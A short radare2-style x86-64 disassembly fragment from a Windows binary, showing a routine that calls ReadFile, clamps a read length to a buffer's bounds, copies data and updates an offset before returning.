mov rcx, qword [rdi + 8]
lea r9, [rax + 0x10]
mov r8d, esi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1400041b6
mov byte [rdi + 0x10], 1
mov eax, dword [rsp + 0x48]
jmp 0x1400041e3
mov edx, dword [r9 + 0x2c]
mov ecx, dword [r9 + 0x28]
lea eax, [rdx + rsi]
cmp eax, ecx
jbe 0x1400041cf
sub ecx, edx
mov esi, ecx
add rdx, qword [r9 + 0x20]
mov r8d, esi
mov rcx, r10
call fcn.140157860
add dword [rdi + 0x2c], esi
mov eax, esi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x58]
xor edx, edx
div rbp
mov rbp, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret